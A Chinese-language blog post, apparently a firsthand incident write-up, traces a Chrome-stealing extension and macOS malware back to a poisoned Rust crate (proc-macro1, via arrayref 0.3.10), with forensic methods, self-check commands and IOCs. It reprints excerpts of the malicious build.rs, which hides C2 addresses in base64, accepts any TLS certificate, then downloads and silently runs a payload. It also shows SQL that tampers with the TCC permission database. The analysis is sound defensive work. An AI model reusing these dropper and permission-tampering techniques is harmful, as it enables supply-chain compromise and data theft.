前往首页
SecurityRustmacOS

从一个 Chrome 恶意扩展,倒查到 Rust 供应链投毒

2026年

用了十几年 Mac,第一次被真的黑掉。

起因是在 Chrome 的扩展列表里看到一个我没装过的东西: Google Sheets Offline ,ID hennhnddfkgohngcngmflkmejacokfik。

倒查了一整天,最后落点是 crates.io 上一个只存活了 86 分钟的恶意 arrayref 版本。我在那个窗口的第 25 分 48 秒跑了一次 cargo build。

这篇把完整过程写下来,重点是可复用的排查方法 —— 中间踩的坑比结论更有用。

这东西在干什么

它由两部分组成:一个 MV3 扩展,加一个 8.8MB 的原生宿主程序(native messaging host),二者通过 nativeMessaging 通信。

扩展侧的 content.js 和 background.js 都是明文的,不长,行为一目了然:

  • 记录网页里的全部按键,外加 input[type="password"] 的明文值(用 MutationObserver 持续挂新出现的密码框)
  • 监听 paste 事件,粘贴内容单独上报
  • 每 5 分钟 chrome.cookies.getAll({}) 导出全量 Cookie,按域分组,含 HttpOnly
  • 用户活跃且窗口聚焦时,每 3 秒 captureVisibleTab 截一张当前标签页
  • 顺手记录鼠标轨迹(30 个点的滑动窗口),截图时一起打包 —— 这样对方能还原你点了哪里

原生宿主里写死了五个浏览器的用户数据目录:Chrome、Brave、Edge、Arc、Dia。C2 配置放在 ~/Library/HTTPCaches/setting.db,base64 套一层单字节 XOR,解出来是地址加一个 16 位客户端 ID,接口是 /cap/setting、/cap/blocks、/cap/up。

赃物按这个命名落在 ~/Library/HTTPCaches/ 下:CA<时间戳>.dat 是截图,CK_<浏览器标识>.dat 是 Cookie,tmpCA.dat 是暂存。

它是怎么装进 Chrome 的:伪造注册

这部分值得单独讲,因为手法很干净。

首先目录结构就不对。正常商店扩展在 Extensions/<id>/<版本>_0/,这个是文件直接摊在 Extensions/<id>/ 下,权限 777。而且某个 profile 的 Extensions/ 目录里还躺着一个 __MACOSX/ —— 那是 macOS 打的 zip 被解压时留下的残渣,说明有程序把一个压缩包直接解压进了 Chrome 的扩展目录。

然后看 Chrome 自己的注册记录(Secure Preferences 里的 extensions.settings)。我拿同一个 profile 里的合法扩展做对照:

扩展creation_flagslocation性质
Google Docs Offline1376Chrome 预装
Chrome Web Store Payments13710Chrome 组件
某个用户自己装的商店扩展91正常商店安装
恶意扩展1374Chrome 自己绝不产生这种组合

137 = REQUIRE_KEY | FROM_WEBSTORE | WAS_INSTALLED_BY_DEFAULT。安装器把「来自商店 + 系统预装」的标记,盖在了一个 location: 4(未打包目录加载)的扩展上。效果是:

  • 绕过开发者模式检查 —— 我查了三个 profile 的 extensions.ui.developer_mode,这个键根本不存在,也就是开发者模式一次都没开过
  • 绕过「请停用以开发者模式运行的扩展程序」那个警告气泡
  • 绕过商店签名校验(代价是它落在 extensions.install_signature.invalid_ids 里,这是它唯一暴露的地方)

而它抄的模板,正是它冒充的那个 Google Docs Offline —— 真实存在于同一个 profile 里。manifest 里还带了 "key" 字段(自带密钥对),所以扩展 ID 是写死的、可跨机器复用。

最后一个细节:两个 profile 的 first_install_time 相差 17 毫秒。人不可能在两个 profile 的 chrome://extensions 里 17 毫秒点两次。

结论:没有任何人在界面上做过操作。是外部程序直接改写了 Secure Preferences 并重算了 HMAC。

倒查:一共五个组件

顺着时间戳往前挖,这不是一个扩展的事,是一整条链。五个组件,同一家族特征:全部 ad-hoc 签名、team_identifier 为空、统一的 *_vmp* 打包命名、统一的自定义段 .ldata0/.ldata1/.ldata2,其中三个冒充 com.apple.* 命名。

落盘时间位置作用
最早com.apple.sudo.flusher(已自删)提权,名字直译「sudo 刷新器」
+4 天/Library/BackPublisher/com.apple.back.publisher投递容器,18.2MB 加壳,建这个目录需要 root
+4 天NativeMessagingHosts/Google Chrome Docs上面那个 Chrome 窃取器的后端
+4 天calc(已自删)辅助件,伪装成计算器
+6 天~/Library/MailBox/System Settings偷密码管理器保险库 / Telegram 会话 / 备忘录

第五个那个最狠。它里面内嵌 AppleScript,目标写得明明白白:

  • 密码管理器的本地保险库目录,整体 cp -rf 走
  • Telegram 的 tdata、postbox/db、.tempkeyEncrypted、accounts-metadata —— 这些是会话密钥,等于账号可被直接接管,而且拷完 rm -rf 掉原件
  • Apple 备忘录的 group container
  • 还会操作一个自建的隐藏目录 .com.apple.TCC/ 里的 TCC.db,并生成 /tmp/csreq.bin

那个 loader 的结构也印证了它是投递容器:前 7.8MB 熵接近 0(填充),后 10MB 熵 = 8.00(完全加密)。窃取器本体 8.8MB —— 装得下。所以根本没有什么「下载的压缩包」,整套东西就在这一个 18MB 文件里,解密后往磁盘上吐。这解释了为什么隔离数据库、浏览器下载记录、压缩包全都找不到。

第五个组件是个 TCC 点击劫持工具

它的 Swift 符号名直接把设计意图写出来了:

_TtC14TccClickJackig12CustomButton
      └─ module: "TccClickJackig"(TccClickJacking)

完整逻辑串起来是这样 —— 它弹一个假的「数据损坏需要修复」对话框,把自己的按钮盖在 macOS 真实授权弹窗的「允许」上面。你以为点的是「修复」,实际点的是「允许访问」:

标题:  App Data Corruption Detected
正文:  A file system inconsistency was detected in Documents, Desktop,
        and Downloads. Some files may be inaccessible until repaired.
诱导:  The restore could not continue because access permission was denied.
        Please allow access when prompted while restoring the data.

如果你见过这两句话,你也中了。 这是我认为这篇文章里最值得单独拎出来的一条 IOC —— 它是人眼可识别的。

同时它直接写 TCC 数据库:

/usr/bin/sqlite3
/Library/Application Support/.com.apple.TCC/TCC.db     ← 自建的隐藏目录
/tmp/csreq.bin                                          ← 伪造的代码签名要求 blob
tell application "Finder"                               ← 借 Finder 的权限挪 TCC.db
DELETE FROM access WHERE client = '...'
INSERT OR REPLACE INTO access VALUES ('...')

目标权限四个:

kTCCServiceSystemPolicyDesktopFolder      桌面
kTCCServiceSystemPolicyDocumentsFolder    文档
kTCCServiceSystemPolicyDownloadsFolder    下载
kTCCServiceSystemPolicyAppData            其他 App 的容器数据

最后那个是关键。macOS 14 之后,第三方进程读其他 App 的容器/组容器正需要 kTCCServiceSystemPolicyAppData。而密码管理器的保险库和 Telegram 的会话都在 ~/Library/Group Containers/ 下。

攻击者专门去要这个权限,说明他知道不拿到它就读不了。 反过来说:它到底有没有偷到保险库,取决于那次点击劫持有没有成功。

它有两条路:点击劫持骗你亲手点「允许」,或者 tell application "Finder" 让 Finder 去执行文件操作、继承 Finder 的权限(这条不需要你点任何东西)。所以「我不记得点过什么」不足以判定它失败了。

查 TCC 数据库,两条路都被拒了

这个问题最后是靠读 TCC 数据库解决的。需要先给终端开完全磁盘访问权限,然后同时查系统级和用户级两个库(我第一次只查了用户级、还用 LIKE '%SystemPolicy%' 过滤,把最要紧的几项全排除在外了,白绕一圈):

# 系统级:完全磁盘访问、屏幕录制、辅助功能、输入监听都在这里
sudo sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \
"SELECT service, client, auth_value,
        datetime(last_modified,'unixepoch','localtime') FROM access
 ORDER BY last_modified DESC;"

# 用户级:AppleEvents(自动化其他 App)、麦克风、相机等
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, client, auth_value,
        datetime(last_modified,'unixepoch','localtime') FROM access
 ORDER BY last_modified DESC;"

结果里有三条恶意组件的记录:

系统级  SystemPolicyAllFiles  /Library/BackPublisher/com.apple.back.publisher   0   08-24 07:54:30
系统级  SystemPolicyAllFiles  ~/Library/MailBox/System Settings                 0   08-26 13:01:38
用户级  AppleEvents           ~/Library/MailBox/System Settings                 0   08-26 19:46:22

auth_value = 0 就是「拒绝」。 这个取值含义可以用同一份数据自身交叉验证:com.google.Chrome 的 SystemPolicyAllFiles 是 0(Chrome 当然没有完全磁盘访问),/usr/sbin/smbd 是 2(系统默认给它)。0 = 拒绝,2 = 允许。

所以:

  • 投递容器申请完全磁盘访问 → 拒绝
  • 数据窃取组件申请完全磁盘访问 → 拒绝
  • 它申请 AppleEvents(也就是那条 Finder 代理路线)→ 拒绝
  • kTCCServiceSystemPolicyAppData → 两个库里都没有它们的任何记录,从没拿到

三条路全断。密码管理器的保险库、Telegram 的会话密钥、Apple 备忘录都没被拿走 —— 它们在同一个受保护目录下,走同一套权限。

这个结论把处置范围大幅收窄了:需要处理的是在网页里输过的密码和被导出的 Cookie,而不是整个保险库。如果某个助记词只存在密码管理器里、从没在网页上显示或输入过,它是安全的。

顺带一个教训:为了查这个而给终端开的完全磁盘访问权限,查完记得关掉。 我自己差点忘了。

它能做到什么,做不到什么

这部分我逐项 grep 了两个二进制,比凭直觉推测靠谱。

看屏幕:只能看 Chrome 标签页

能:chrome.tabs.captureVisibleTab 截当前活动标签页的可视区域,约每 3 秒一次,外加 30 个点的鼠标轨迹(对方能还原你点了哪里)。

不能:两个二进制里 CGDisplayStream、ScreenCaptureKit/SCStream、CGWindowListCreateImage、screencapture、AVCaptureScreenInput 全部零命中,它要的四个 TCC 权限里也没有 kTCCServiceScreenCapture。

而且扩展代码里有一道显式过滤:

if (tab && (win.state !== 'minimized') &&
    (tab.url.startsWith('http://') || tab.url.startsWith('https://') || tab.url.startsWith('file://')))

所以桌面、其他 App、终端、密码管理器窗口、其他浏览器全都看不到,连 Chrome 里 chrome-extension:// 开头的页面(比如钱包扩展的展开界面)也被跳过。

剪贴板:只有「粘贴进网页」那一刻,没有历史

能:paste 事件 —— 你往网页里粘贴什么就上报什么,带域名。

不能:NSPasteboard、generalPasteboard、pbpaste 全部零命中,没有轮询剪贴板的代码。

实际含义:复制了助记词但粘贴进原生 App(或没粘贴),这套东西没拿到;粘贴进网页了,就拿到了。

顺带一个值得注意的点:我用的 Alfred 有剪贴板历史,数据库在 ~/Library/Application Support/Alfred/Databases/clipboard.alfdb —— 这个路径不受 TCC 保护,任何普通用户进程都能直接读、不弹任何提示。而这两个组件里 alfred/clipboard 的引用数是 0。它们没去动它,这是运气。 如果你用剪贴板管理器,知道这件事比不知道好。

浏览器里的钱包扩展:够不到

这条对有钱包的人最要紧。恶意扩展的 content_scripts.matches 是:

["http://*/*", "https://*/*", "file://*/*"]

不含 chrome-extension://。所以键盘记录器从不在钱包扩展的弹窗或内部页面里运行,截图函数也显式跳过这类标签页。原生宿主的字符串里也没有 Local Extension Settings、leveldb、Login Data 这些路径。

结论:钱包扩展的解锁密码和加密库文件,这一路拿不到。 但如果助记词同时也存在密码管理器里,那就走上面那条路了。

任意文件:TCC 之外全部敞开

两个用户级组件都是非沙盒进程、以你的身份运行。TCC 保护之外的部分不弹任何提示就能读:~/.ssh、~/.aws、~/.config、~/.gnupg、~/.npmrc、~/.docker、git 凭据、全部源码和 .env、大部分 App 的 Application Support 数据。

我查了:这些路径在两个二进制里的引用数也是 0 —— 实现上没去拿。

但这是「当前这一版没拿」,不是能力上限。 loader 里有 10MB 完全加密的载荷,原生宿主还有个 /cap/blocks 接口(这个接口不在公开报告描述的 CHROMEPUSH 接口列表里,是这个变体独有的)。能力边界不由它当前的代码决定,由它的通信通道决定 —— 这也是我最后选择抹盘而不是清理的原因。

入口:arrayref → proc-macro1

最早的那个提权件是从哪来的?

统一日志早轮转了,shell 历史干净,AI agent 的会话日志(含一个 820MB 的长会话)对全部特征串零命中。唯一还能查的,是 macOS 的 ExecPolicy 数据库 —— 它记录了每个被执行过的二进制。

按「无签名/ad-hoc + 作为顶层进程启动」筛出来,恶意家族五个成员全部在列,最早那个的文件时间戳指向某天 14:49:22。

而那天 14:40:45 到 14:40:54 的 9 秒内,cargo 拉下来了这么一批东西:

14:40:45  base64-0.22.1
14:40:45  spin-0.9.9 / spin-0.10.1
14:40:46  rustls-native-certs / rustls-pemfile
14:40:47  rustls-pki-types / untrusted / webpki-roots
14:40:48  ureq-2.12.1
14:40:48  proc-macro1-1.0.107     ← 恶意包本体
14:40:49  rustls-webpki-0.103.14
14:40:52  rustls-0.23.43
14:40:54  ring-0.17.14

我当时在搭一个 GUI 项目(gpui + hidapi + cpal + opus + core-graphics)。这个依赖图没有任何理由出现 rustls + ring + ureq 这一整套 TLS 栈。

它们只服务于一个东西:proc-macro1 的 build.rs。

proc-macro1 是 proc-macro2(David Tolnay 那个,几乎所有 Rust 项目都间接依赖)的仿冒名。它把正品源码整套抄了过来 —— lib.rs、fallback.rs、parse.rs、wrapper.rs、probe/* 全在,所以它能正常编译、行为一致、不被发现。

正品和它逐文件 diff,差异集中在 build.rs:多了 174 行。

那 174 行

const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

base64 分片拼接,防的是字符串扫描。解出来是 https://23.254.165.112:9089/ 和 23.254.165.112:443。

struct AcceptAll;

impl ServerCertVerifier for AcceptAll {
    fn verify_server_cert(...) -> Result<ServerCertVerified, rustls::Error> {
        Ok(ServerCertVerified::assertion())
    }
    ...
}

自建 rustls 客户端,证书验证器直接对任何证书返回 Ok。这样它能对着一个裸 IP 用自签证书通信。

fn link_suffix() -> &'static str {
    match (std::env::consts::OS, std::env::consts::ARCH) {
        ("linux",   "x86_64")  => "rust-crate_0.1.0",
        ("windows", "x86_64")  => "rust-crate_0.2.0",
        ("macos",   "x86_64")  => "rust-crate_0.3.0",
        ("macos",   "aarch64") => "rust-crate_0.4.0",
        (_, _) => panic!("unsupported platform"),
    }
}

按平台取载荷。然后:

let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
Command::new("chmod").args(["+x", path_str]).status()...;
Command::new(&path)
    .arg(end_url())
    .stdin(Stdio::null())
    .stdout(Stdio::null())
    .stderr(Stdio::null())
    .spawn()...;

写 /tmp/rust-setup,chmod +x,以 C2 地址作为参数 spawn,三个标准流全部丢进 /dev/null。编译输出里什么都看不到。

Windows 分支更讲究:写 .ps1,再用 wscript.exe 起一个 VBS 去调 PowerShell。代码注释自己解释了为什么:

// ShellExecute via WScript escapes Cargo's job object; spawned children otherwise keep the build script (and cargo build) waiting until they exit.

这是专门针对 cargo 构建流程写的代码。

86 分钟的窗口

这次事件有官方公告(RUSTSEC-2026-0260 / Rust 官方博客)。攻击者拿到了 arrayref 维护者的 crates.io 账号,做了三件事:

  1. 发布 arrayref@0.3.10,不动任何库代码,只在依赖声明里加一行 proc-macro1 = "1.0.107"
  2. 把 arrayref 之前所有版本全部 yank —— 这样任何需要它的依赖图只能解到 0.3.10,必然拉取恶意包
  3. 同批还有 internment@0.8.7 和 append-only-vec@0.1.9

arrayref 累计 2.45 亿次下载、403 个直接依赖者,出现在超过 35% 的 Rust 环境里,而且十年没加过任何外部依赖 —— 这次是它历史上第一个依赖。

官方给的时间:

发布 07:15:00Z  ──────────────●──────────────────────── 08:41:40Z 删除
                          07:40:48Z
                          我在这里
                ├─ 25 分 48 秒 ─┤├──── 还剩 60 分 52 秒 ────┤

命中需要三个条件同时成立:必须是全新的依赖解析(已有 Cargo.lock 的项目会走缓存)、依赖图里必须有 arrayref、必须在那 86 分钟内跑构建。

我那天恰好第一次引入那个 GUI 库,一次解析解包了 540 个 crate。

第 2、3 条是攻击者刻意放大的 —— yank 掉旧版本,就是为了让窗口期内任何一次全新解析都必然落到恶意版本。这不是等谁倒霉,是把命中率拉到 100%。

关于「没有受害者」

有些二手报道写的是「no evidence of actual usage」。这是误读。RUSTSEC-2026-0260 里其实给了数字:

那 86 分钟里,arrayref 0.3.10 被下载了约 2,285 次,约占正常流量的不到 10%(因为大多数人的 lock 文件锁在旧版本)。

也就是约 2,285 台机器把恶意包拉了下来。其中真正跑了构建(而不是只 cargo fetch)的那部分,build.rs 就执行了。

Wiz 的报告里还有一句:“A victim has reported C2 traffic to 23.254.167[.]216” —— 至少有一个人私下报告过。但我搜了 X,公开平台上零个自述受害者,讨论全部来自安全厂商和媒体。

Wiz 同时指出这批基础设施与近期朝鲜(DPRK)行动大幅重叠,统一落在 Hostwinds 的 23.254.164.0/23。

而我机器上那五个后续组件,和 Google Mandiant 2026 年 2 月的 UNC1069 报告能逐条对上 —— 那份报告里 CHROMEPUSH 家族的原生宿主清单,写的扩展 ID 就是 hennhnddfkgohngcngmflkmejacokfik,和我机器上的一字不差,宿主文件名也同样叫 Google Chrome Docs。

值得注意的是:所有公开材料都止步于 dropper。 没有一份公开文章描述 /tmp/rust-setup 之后发生了什么。这篇算是补上那一段。

一个意外的收尾:它的外传通道自己卡死了

窃取器的 C2 配置在 ~/Library/HTTPCaches/setting.db,base64 套单字节 XOR。解出来是这样:

https://<IP>:443 <16 位客户端 ID>

而那个 IP 落在 240.0.0.0/4 —— IANA 保留网段,is_global = False,没有任何 ISP 会路由它。往它 POST 数据,TCP 连接会直接失败。

更有意思的是这构成了一个自举死锁:新配置要从 /cap/setting 拿,而那个接口就在这个不可达的地址上。而且它是裸 IP 不是域名,没有 DNS 可以重新指向。

我又专门在那个 8.8MB 的原生宿主里找备用地址:

base64 形态候选串                 96 个
用同一套混淆方案解出含 URL/IP 的    0
全文件单字节 XOR 滑动扫 IP 形态     0 条

没有硬编码的备用 C2。 加上赃物文件至今还堆在本地没被清理(tmpCA.dat 是暂存名,成品 CA<时间戳>.dat 也还在),这些现象都和「上传一直失败」吻合。

但我不会把这写成「所以它没偷走东西」,有三个反面:

  • 投递容器有自己独立的加密配置(PkgInfo,高熵,按公开报告的描述这一层持有最多 2 个 C2)。它跑一次,整套就重新武装
  • 我的扫描只覆盖 base64+单字节 XOR 和裸单字节 XOR,RC4/AES 加密或运行时拼装的地址我扫不到
  • setting.db 的 birth 和 mod 不相等,说明它被重写过 —— 我没法证明这个死地址从一开始就在那儿。前面几周完全可能是活的

而且最要紧的一点:即使外传彻底断了,扩展照样在往本地磁盘写。 赃物在累积,账单只是被推迟 —— 一旦对方恢复任何一条通道,攒下的东西会一次性发出去。

这也是为什么我最后选了抹盘:趁它卡着一次性了结,比赌它一直连不上要省心。

排查方法:几个我踩过的坑

这部分是我觉得最有复用价值的。

ExecPolicy 数据库是金矿

/var/db/SystemPolicyConfiguration/ExecPolicy(需要 sudo)里的 executable_measurements_v2 表记录了每个被执行过的二进制:签名标识、cdhash、文件大小、is_used、is_quarantined、responsible_file_identifier(责任进程)。

按「无签名/ad-hoc + file_identifier = responsible_file_identifier(即作为顶层进程启动)」筛,正常的 homebrew 命令行工具会被排除掉(它们从终端启动,责任进程是终端 app),剩下的列表很短。恶意家族五个成员全在里面。

恶意件已经自删了也没关系 —— 这张表留着它的路径、cdhash 和签名标识。

com.apple.provenance 没有分辨力

这个扩展属性看起来像「是哪个 App 写的这个文件」,provenance_tracking 表还能把它的值反查到一个具体 App。我一开始据此得出了一个结论,然后做了对照实验:我自己新建的一个测试文件,provenance 值完全一样,而这个值名下挂着 1079 个文件,包括大量 node_modules 和 rustc 产物。

它其实是所有命令行进程写文件共用的一个桶。只能用来区分「命令行进程写的」和「GUI 应用写的」,不能指认具体 App。

SQLite 查隔离数据库必须 CAST

-- 错的:静默返回空集
WHERE ts BETWEEN strftime('%s','2026-08-01') AND strftime('%s','2026-09-01')

-- 对的
WHERE ts BETWEEN CAST(strftime('%s','2026-08-01') AS INTEGER)
             AND CAST(strftime('%s','2026-09-01') AS INTEGER)

strftime 返回的是 TEXT,和整数做 BETWEEN 在 SQLite 里会因类型亲和性静默失效。我因此一度以为「那几天完全没有下载记录」,实际那个月有近 200 条。

顺带一个发现:新版 macOS 的 QuarantineEventsV2 已经不记录下载 URL 了 —— 我这台 3055 条记录里,LSQuarantineDataURLString 和 OriginURLString 全部为空,各月都是 0。别指望从这里拿到下载来源。

时间戳分两种,别混

executable_measurements_v2 里的 timestamp 是扫描时间不是执行时间 —— 我看到某一分钟内几百个几个月前的构建产物被一起记录,那是系统的批量重扫。有意义的是 is_used=1 和 executable_timestamp。

而这批恶意文件的文件时间戳是从攻击者机器上带过来的:loader 的 com.apple.lastuseddate#PS 比它自己的出生时间还早 3 分钟。所以文件 mtime 不能当落盘时刻用。

__MACOSX/ 里的 AppleDouble 会泄露打包机的信息

macOS 打 zip 时会把每个文件的扩展属性存进 __MACOSX/._<文件名>。解压后这些 sidecar 文件如果留在原地,里面就还带着打包那台机器上的 xattr。

我从里面读出了 com.apple.quarantine,agent 名是 Windows App(微软远程桌面客户端),时间戳指向一年多以前 —— 说明这套工具包当初是通过 RDP 从 Windows 侧传到某台 Mac 上的,还带着 com.apple.macl(说明有人用编辑器打开过那些 .js)。

Warp 的命令历史不在 .zsh_history

这个坑差点让我漏掉整条线。我查完 .zsh_history 以为 shell 侧干净了,后来才发现 Warp 有自己的数据库,而且位置很隐蔽:

~/Library/Group Containers/2BBY89MBSN.dev.warp/Library/Application Support/dev.warp.Warp-Stable/warp.sqlite

commands 表里有 command / start_ts / pwd / exit_code。如果你用 Warp,排查时一定要查这个。

另外提醒:.zsh_history 默认不带时间戳(需要开 EXTENDED_HISTORY),没有时间戳的历史在取证时价值有限。建议现在就开。

权限列表里那堆数字,正是藏恶意授权的地方

我在「隐私与安全性 →文件与文件夹」里长期有一串没有任何语义的条目:2.1.207、2.1.212、2.1.237、2.1.238、2.1.246……

查了一下,是 Claude Code 自己 —— 它把每个版本装成一个以版本号命名的可执行文件(~/.local/share/claude/versions/2.1.278,不是目录是文件),而 macOS 对非 App bundle 的可执行文件直接用文件名当显示名。每次自动更新就多一条,旧版本二进制被清理后授权记录还留着。签名是正的(Developer ID Application: Anthropic PBC),不是问题。

但这件事本身说明了那个点击劫持为什么好用:当你的权限列表里本来就有一堆看不懂的条目时,多一个你根本不会注意到。 而那个组件要的四个权限就在这个列表里。

系统设置里只显示文件名、看不到完整路径。想真正审计,得读 TCC 数据库的 client 字段 —— 需要先给终端开完全磁盘访问权限:

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, client, auth_value,
        datetime(last_modified,'unixepoch','localtime') AS t
 FROM access WHERE service LIKE '%SystemPolicy%' ORDER BY last_modified DESC;"

重点看三样:client 有没有指向你不认识的路径、last_modified 有没有落在可疑时间窗、以及 kTCCServiceSystemPolicyAppData 被授予给了谁 —— 那是能读其他 App 容器数据的权限。查完记得把终端的完全磁盘访问关掉。

[patch.crates-io] 会绕过校验和

我当时的临时绕法是把 arrayref vendor 一份、删掉那行假依赖:

[patch.crates-io]
arrayref = { path = "vendor/arrayref" }

代价是:指向本地路径的依赖不参与 checksum 验证。Cargo.lock 里那一条既没有 source 也没有 checksum。

而更重要的一点 —— 当时我审计了 arrayref 的源码,结论是「504 行纯宏,无 build.rs、无 proc-macro、无进程/网络调用」。这个审计完全正确,但没用。

因为攻击不在源码里,在依赖声明里。恶意代码在另一个包(proc-macro1)里,而那个包在我诊断出问题之前的 4 分钟,已经被 cargo 下载并执行完了。

自查

如果你那段时间跑过 Rust 构建:

# 1. 恶意包是否落盘
ls ~/.cargo/registry/cache/*/proc-macro1-* ~/.cargo/registry/cache/*/proc-macro-en-*

# 2. lock 文件里有没有
grep -rn "proc-macro1\|proc-macro-en" --include="Cargo.lock" --include="Cargo.toml" .
grep -rn 'arrayref"' -A2 --include="Cargo.lock" . | grep -B1 "0.3.10"

# 3. 载荷落点
ls -la /tmp/rust-setup

# 4. macOS:8/19 之后新增的启动项
find ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons -newermt "2026-08-19" -name "*.plist"

# 5. macOS:伪装成 com.apple.* 但不是 Apple 签名的可执行文件
find /Library ~/Library -maxdepth 4 -name "com.apple.*" -type f -perm -u+x \
  -exec sh -c 'codesign -dv "$1" 2>&1 | grep -q "Authority=.*Apple" || echo "可疑: $1"' _ {} \;

# 6. Chrome:有没有被伪造注册的扩展
python3 -c "
import json,glob
for p in glob.glob('$HOME/Library/Application Support/Google/Chrome/*/Secure Preferences'):
    for k,v in json.load(open(p)).get('extensions',{}).get('settings',{}).items():
        if isinstance(v,dict) and v.get('location')==4 and v.get('creation_flags')==137:
            print('伪造注册:',p.split('/')[-2],k)
"

受影响版本:arrayref 0.3.10、internment 0.8.7、append-only-vec 0.1.9,以及任何对 proc-macro1 / proc-macro-en 的依赖。

IOC:23.254.165.112:9089、23.254.165.112:443、23.254.167.216、/tmp/rust-setup、%TEMP%\rust-setup.ps1、%TEMP%\rust-setup-launch.vbs、载荷名 rust-crate_0.1.0 ~ _0.4.0、Hostwinds 23.254.164.0/23。

几点教训

一、审计源码不等于安全。 这次的恶意代码在依赖声明里。你可以把一个包的每一行都读完、确认它干净,然后被它的 manifest 拉进来的另一个包干掉。

二、build.rs 和 proc-macro 是编译期的任意代码执行。 它不打 quarantine 标记、不留 shell 历史、以你的身份运行。cargo build、cargo check、cargo test 都会触发。这个执行原语的能力和你手动 curl | sh 没有区别,但心理上完全不设防。

三、给不受信的构建关掉 sudo 凭据缓存。 那个提权件叫「sudo flusher」不是巧合。我在那几天为了装一个 HAL 音频驱动多次 sudo,每次都会留下 5 分钟的凭据缓存窗口。在 /etc/sudoers.d/ 里加一行 Defaults timestamp_timeout=0 能关掉它,代价是每次都要重输密码。

四、锁文件是真的有用。 这次 90% 以上的人没中,就是因为 Cargo.lock 锁在旧版本上。别无脑 cargo update。

五、TCC 这次真的挡住了。 我一开始按最坏情况处理 —— 假定密码管理器的保险库已经出去了,准备逐条轮换库里所有凭据。查完 TCC 数据库才确认三次申请全被拒。macOS 的权限模型在这次事件里是唯一真正生效的防线:Chrome 扩展 API 那一路它管不到(Cookie、按键、密码框明文、截图全被拿走),但凡是要碰其他 App 容器和受保护目录的,一次都没成功。

六、别凭猜测定处置范围。 「保险库可能已泄露」和「保险库确认没泄露」,对应的工作量差了一个数量级 —— 前者意味着逐条轮换几百个凭据、所有钱包换新地址转移资产。多花两小时把 TCC 数据库读明白,省掉的是后面几天的返工。在响应事件时,花时间确认边界比急着动手更划算。

参考:

tank avatar

Tank Xu

Product Designer / Creator